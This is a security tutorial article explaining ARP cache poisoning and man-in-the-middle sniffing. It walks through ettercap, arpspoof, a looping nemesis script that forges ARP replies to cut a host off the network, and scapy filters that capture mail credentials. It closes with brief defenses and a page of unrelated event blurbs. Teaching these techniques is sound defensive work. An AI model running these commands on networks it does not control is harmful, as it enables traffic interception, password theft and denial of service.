Welcome!

Related Topics: Cloud Security, Mobile IoT

Cloud Security: Article

Network Security: Arp Cache Poisoning and Sniffing Packets

ARP Cache Poisoning allows any computer on the local area network to obtain one of the most powerful attack postures in network

In a switched network environment packets are sent to their destination port by MAC address. This requires that hardware be able to create and maintain a table associating MAC addresses to ports. In a switched environment packets are only sent to devices that they are meant for. Even in this switched environment there are ways to sniff other devices' packets. One such way is to spoof your MAC address and poison the arp table. Since there is no state information about ARP traffic kept, as it's a simple protocol, the arp cache can be overwritten (unless the entry was explicitly marked as permanent).

Arp cache poisoning puts the attacker in position to intercept communications between the two computers. Computer A believes it is communicating with Computer B, but because of the poisoned arp table, the communication actually goes to the attacker's computer. The attacker can then either respond to computer A (pretending to be computer B), or simply forward the packets to its intended destination, but only after the packet information is captured and logged for later sue by the attacker. Likewise, the response from Computer B can be captured and logged by the attacker, who has also used Arp poisoning to make Computer B think its Computer A. this type of attack is known as Man in the Middle attack.

This article will cover a number of tools used in arp cache poisoning including ettercap, arpspoof, nemesis, p0f, dsniff, and scapy.

Running Ettercap
For arp cache poisoning to take place the attacker needs to be in the same network segment as the systems that are to communicate between each other. The first step is to obtain a list of IP addresses and the associated MAC. This can be accomplished a couple of different ways, one with a tool called ettercap. Ettercap is a suite for man in the middle attacks on your local LAN. It features sniffing of live connections, content filtering on the fly and more. It supports active and passive dissection of many protocols some of them we will cover in this paper.

# ettercap -T -M arp:remote //

This command will quickly sniff all hosts within your subnet, to view the results type L or hit h for the help menu and you will be given a list of commands.

Arp Cache DOS
To arp poison a given IP address to knock them off line so they cant communicate with anyone use arpspoof from the dsniff suite. Arpspoof is much simpler than ettercap to redirect packets, here is an example:

# arpspoof -i eth0 -t <target> host

Specifying the interface is optional but required if more than one interface is present. The -t specifies the particular host to ARP poison and if not specified all hosts on the LAN will be poisoned. The host can be the default gateway and this will keep the target from communicating beyond the local segment. Arpspoof redirects packets from a target host or all hosts on the LAN intended for another host on the LAN by forging ARP replies. The beauty of this program comes from the arp_send() function, which also uses libnet to spoof packets. The arp_send() sends out one ARP packet with source/target IP and Ethernet hardware addresses supplied by the user. Libnet is a generic networking API that provides access to several protocols.

To better understand how this works lets look at another tool called nemesis. If we have the IP and MAC of the intended target and host we can use nemesis to arp poison our target and leave them with a denial of service. Nemesis is a command-line network packet crafting and injection utility. Nemesis can craft and inject ARP, DNS, ETHERNET, ICMP, IGMP, IP, OSPF, RIP, TCP and UDP packets. By crafting your own packet using nemesis you can see how the arp cache poisoning works.

$ sudo nemesis arp -v -r -d eth0 -S 192.168.1.2 -D 192.168.1.133 -h 00:22:6E:71:04:BB -m 00:0C:29:B2:78:9E -H 00:22:6E:71:04:BB -M 00:0C:29:B2:78:9E

Then we create a packet to send in the other direction.

$ sudo nemesis arp -v -r -d eth0 -S 192.168.1.133 -D 192.168.1.2 -h 00:22:6E:71:04:BB -m 00:22:6B:7E:AD:7C -H 00:22:6E:71:04:BB -M 00:22:6B:7E:AD:7C

These two commands spoof ARP replies from 192.168.1.2 to 192.168.1.133 then from 192.168.1.33 to 192.168.1.2. The nemesis arp options -S specifies the source IP address, -D the destination IP address, -h the senders MAC address, -m the target MAC address, -H the source MAC address, and -M the destination MAC address. These two commands send bogus ARP replies to keep the ARP caches poisoned and traffic redirected. I find understanding this aspect allows you a better understanding of how the arp cache poisoning works. Lets replay them every 10 seconds with a loop.

$ while true

> do

> sudo nemesis arp -v -r -d eth0 -S 192.168.1.2 -D 192.168.1.133 -h 00:22:6E:71:04:BB -m 00:0C:29:B2:78:9E -H 00:22:6E:71:04:BB -M 00:0C:29:B2:78:9E

> sudo nemesis arp -v -r -d eth0 -S 192.168.1.133 -D 192.168.1.2 -h 00:22:6E:71:04:BB -m 00:22:6B:7E:AD:7C -H 00:22:6E:71:04:BB -M 00:22:6B:7E:AD:7C

> echo "Redirecting"

> sleep 10

> done

Once this is done the targeted box will be off-line and unable to communicate with the rest of the network. I made a video on my site that demonstrates this attack and is available at http://pbnetworks.net.

Sniffing the LAN
The bridge mode in ettercap requires two interfaces that are placed in the network segment. If you setup in-line with network bridge mode you are very hard to detect. In bridge mode you intercept packets and can read, sniff, or change them before sending them on to the victim. This mode is stealthy because you don't send out ARP packets on the LAN.

# ettercap -Tq -i eth0 -B eth1

The -i sets the primary interface as eth0, the -B sets the second bridging interface (see Figure #1).

If you run in GTK+ user interface you can do this by Sniff => Bridged sniffing

Figure 1: Sniffing traffic

Logging data
If you would like to log all the packets in a file you can use a number of different tools such as p0f which is a versatile passive OS fingerprinting and masquerade detection utility. It can be used for evidence or information gathering on servers, firewalls, and intrusion detection systems. Ettercap can also fingerprint hosts (find the Operating System running) with the -P option, just need to specify an open port. Once we find out what Operating system we are dealing with then it we can anticipate how the system will react.

# ettercap -Tq -P finger /192.168.1.121/22

To allow the p0f utility to write packets to tcpdump snapshot use the -w option.

p0f -w dumpfile.pcap

dsniff has a collection of tools used for network penetration testing and audits. These tools include dsniff, filesnarf, mailsnarf, nsgsnarf, urlsnard, and webspy passively monitor a network for interesting data. Arpspoof, dnsspoof, and macof tools facilitate the interception of network traffic normally unavailable to an attacker due to layer-2 switching. Below we are using the -w option to to write packets to file.

dsniff -w dumpfile.pcap

Ettercap allows dumping packet data to file with the -w option as well.

ettercap -T -M arp:remote /192.168.1.1/ /192.168.1.130/ -w dumpfile.pcap

It is easier and less intrusive if you specify a specific box to sniff traffic and write to a file then trying to sniff the whole LAN segment. Otherwise you may crash ettercap. You can then view the output in Scapy if you have a graphical PostScript/PDF. Scapy is a powerful interactive packet manipulation program that has the ability to forge or decode packets of a wide number of protocols. It can perform tasks like scanning, tracerouting, probing, unit tests, network discovery, tcpdump, tethereal, p0f and much more. Start by typing scapy at the terminal prompt.

$ scapy

>>> a=rdpcap("/home/cr0wn/dumpfile.pcap")

>>> a

<dumpfile.pcap: TCP:9522 UDP:2386 IMCP:15 Other:611>

>>> a[423].pdfdump(layer_shift=1)

See Figure 2

Figure 2 Scapy graphical output

A good way to protect yourself while you are web-browsing is to use HTTP Everywhere by the Electronic Frontier Foundation (EFF). This will allow https to be used instead of http which passes information in clear-text and would be read by an attacker that is sniffing the local network segment. This is becomes more significant when using unknown wireless networks like at coffee shops or airports.

Sniffing with Scapy
The ability to capture packets and clone tcpdump is possible with scapy. Here we find a host that we want to sniff traffic on and use this command:

>>> sniff(filter="tcp and hsot 192.168.1.131", count=50)

>>> a=_

>>> a.nsummary()

Here we are sniffing the next 50 packets traveling the network on the host 192.168.1.131

(see Figure 3).

Figure 3 sniffing 50 packets

If we use the sprintf() function we can get even more control over what is displayed.

>>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% → %IP.dst%\n}{Raw:%Raw.load%\n}"))

(see Figure 4).

Figure #4 different control displays in scapy

If we use the sprintf() function we can get even more control over what is displayed.

>>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% → %IP.dst%\n}{Raw:%Raw.load%\n}"))

see Figure #4).

We can narrow down the ports that we sniff on such as port 25 and 110, common ports for mail client. Enter the following command in scapy:

>>> a=sniff(filter="tcp and ( port 25 or port 110 )",

prn=lambda x: x.sprintf(%IP.src%:TCP.sport% → %IP.dst%:%TCP.dport% %2s,TCP.flags% : %TCP.payload%"))

In the above we are sniffing for tcp on ports 25 and 110 and using the lambda operator, used to denote anonymous functions, with the sprintf() function for more control over displayed information.

The above can be viewed in Figure 5.

Figure 5 sniffing user names and passwords using Scapy

Scapy can also graph what you are sniffing on the network by producing a simple diagram of packet flow. The conversations() method will create a conversation graph which requires graphviz and ImageMagick to work. Here I am using scapy to sniff the wireless interface (wlan0) that is connected to a foreign network, all displayed in a graphic format.

>>> a=sniff(iface="wlan0", prn=lambda x: x.summary())

>>> a.conversations()

The output above can be seen in Figure 6.

Figure 6 graphical output with Scapy

Conclusion
ARP Cache Poisoning allows any computer on the local area network to obtain one of the most powerful attack postures in network security called "Man in the Middle" (MITM). MITM is able to monitor, filter, modify and edit any and all network traffic moving between LANs. In this article we have identified some open source tools that can be used to launch attacks on switched networks. We have identified some easy ways to prevent data loss by using a browser add-on. By making yourself aware and familiar with some of these tools you can see how secure your network really is. A good solution is to provide port security integrated into your switches and by running arpwatch to monitor address resolution protocol traffic on your network.

This article appears in Admin Network & Security Magazine on-line edition.  They had a difficult time getting all the .jpgs to work with their web application so I am publishing the article here as well.

Let pbnetworks get your pen test on target

Visit us and learn how http://pbnetworks.net

How secure is your network?

More Stories By David Dodd

David J. Dodd is currently in the United States and holds a current 'Top Secret' DoD Clearance and is available for consulting on various Information Assurance projects. A former U.S. Marine with Avionics background in Electronic Countermeasures Systems. David has given talks at the San Diego Regional Security Conference and SDISSA, is a member of InfraGard, and contributes to Secure our eCity http://securingourecity.org. He works for Xerox as Information Security Officer City of San Diego & pbnetworks Inc. http://pbnetworks.net a Service Disabled Veteran Owned Small Business (SDVOSB) located in San Diego, CA and can be contacted by emailing: dave at pbnetworks.net.

Latest Stories
As organizations shift towards IT-as-a-service models, the need for managing and protecting data residing across physical, virtual, and now cloud environments grows with it. Commvault can ensure protection, access and E-Discovery of your data – whether in a private cloud, a Service Provider delivered public cloud, or a hybrid cloud environment – across the heterogeneous enterprise. In his general session at 18th Cloud Expo, Randy De Meno, Chief Technologist - Windows Products and Microsoft Part...
DXWorldEXPO LLC announced today that ICC-USA, a computer systems integrator and server manufacturing company focused on developing products and product appliances, will exhibit at the 22nd International CloudEXPO | DXWorldEXPO. DXWordEXPO New York 2018, colocated with CloudEXPO New York 2018 will be held November 11-13, 2018, in New York City. ICC is a computer systems integrator and server manufacturing company focused on developing products and product appliances to meet a wide range of ...
Andi Mann, Chief Technology Advocate at Splunk, is an accomplished digital business executive with extensive global expertise as a strategist, technologist, innovator, marketer, and communicator. For over 30 years across five continents, he has built success with Fortune 500 corporations, vendors, governments, and as a leading research analyst and consultant.
JETRO showcased Japan Digital Transformation Pavilion at SYS-CON's 21st International Cloud Expo® at the Santa Clara Convention Center in Santa Clara, CA. The Japan External Trade Organization (JETRO) is a non-profit organization that provides business support services to companies expanding to Japan. With the support of JETRO's dedicated staff, clients can incorporate their business; receive visa, immigration, and HR support; find dedicated office space; identify local government subsidies; get...
René Bostic is the Technical VP of the IBM Cloud Unit in North America. Enjoying her career with IBM during the modern millennial technological era, she is an expert in cloud computing, DevOps and emerging cloud technologies such as Blockchain. Her strengths and core competencies include a proven record of accomplishments in consensus building at all levels to assess, plan, and implement enterprise and cloud computing solutions. René is a member of the Society of Women Engineers (SWE) and a m...
In this presentation, you will learn first hand what works and what doesn't while architecting and deploying OpenStack. Some of the topics will include:- best practices for creating repeatable deployments of OpenStack- multi-site considerations- how to customize OpenStack to integrate with your existing systems and security best practices.
Explosive growth in connected devices. Enormous amounts of data for collection and analysis. Critical use of data for split-second decision making and actionable information. All three are factors in making the Internet of Things a reality. Yet, any one factor would have an IT organization pondering its infrastructure strategy. How should your organization enhance its IT framework to enable an Internet of Things implementation? In his session at @ThingsExpo, James Kirkland, Red Hat's Chief Archi...
Digital transformation has increased the pace of business creating a productivity divide between the technology haves and have nots. Managing financial information on spreadsheets and piecing together insight from numerous disconnected systems is no longer an option. Rapid market changes and aggressive competition are motivating business leaders to reevaluate legacy technology investments in search of modern technologies to achieve greater agility, reduced costs and organizational efficiencies. ...
"With Digital Experience Monitoring what used to be a simple visit to a web page has exploded into app on phones, data from social media feeds, competitive benchmarking - these are all components that are only available because of some type of digital asset," explained Leo Vasiliou, Director of Web Performance Engineering at Catchpoint Systems, in this SYS-CON.tv interview at DevOps Summit at 20th Cloud Expo, held June 6-8, 2017, at the Javits Center in New York City, NY.
In his general session at 19th Cloud Expo, Manish Dixit, VP of Product and Engineering at Dice, discussed how Dice leverages data insights and tools to help both tech professionals and recruiters better understand how skills relate to each other and which skills are in high demand using interactive visualizations and salary indicator tools to maximize earning potential. Manish Dixit is VP of Product and Engineering at Dice. As the leader of the Product, Engineering and Data Sciences team at D...
It is ironic, but perhaps not unexpected, that many organizations who want the benefits of using an Agile approach to deliver software use a waterfall approach to adopting Agile practices: they form plans, they set milestones, and they measure progress by how many teams they have engaged. Old habits die hard, but like most waterfall software projects, most waterfall-style Agile adoption efforts fail to produce the results desired. The problem is that to get the results they want, they have to ch...
Personalization has long been the holy grail of marketing. Simply stated, communicate the most relevant offer to the right person and you will increase sales. To achieve this, you must understand the individual. Consequently, digital marketers developed many ways to gather and leverage customer information to deliver targeted experiences. In his session at @ThingsExpo, Lou Casal, Founder and Principal Consultant at Practicala, discussed how the Internet of Things (IoT) has accelerated our abilit...
For far too long technology teams have lived in siloes. Not only physical siloes, but cultural siloes pushed by competing objectives. This includes informational siloes where business users require one set of data and tech teams require different data. DevOps intends to bridge these gaps to make tech driven operations more aligned and efficient.
Organizations planning enterprise data center consolidation and modernization projects are faced with a challenging, costly reality. Requirements to deploy modern, cloud-native applications simultaneously with traditional client/server applications are almost impossible to achieve with hardware-centric enterprise infrastructure. Compute and network infrastructure are fast moving down a software-defined path, but storage has been a laggard. Until now.
Without a clear strategy for cost control and an architecture designed with cloud services in mind, costs and operational performance can quickly get out of control. To avoid multiple architectural redesigns requires extensive thought and planning. Boundary (now part of BMC) launched a new public-facing multi-tenant high resolution monitoring service on Amazon AWS two years ago, facing challenges and learning best practices in the early days of the new service.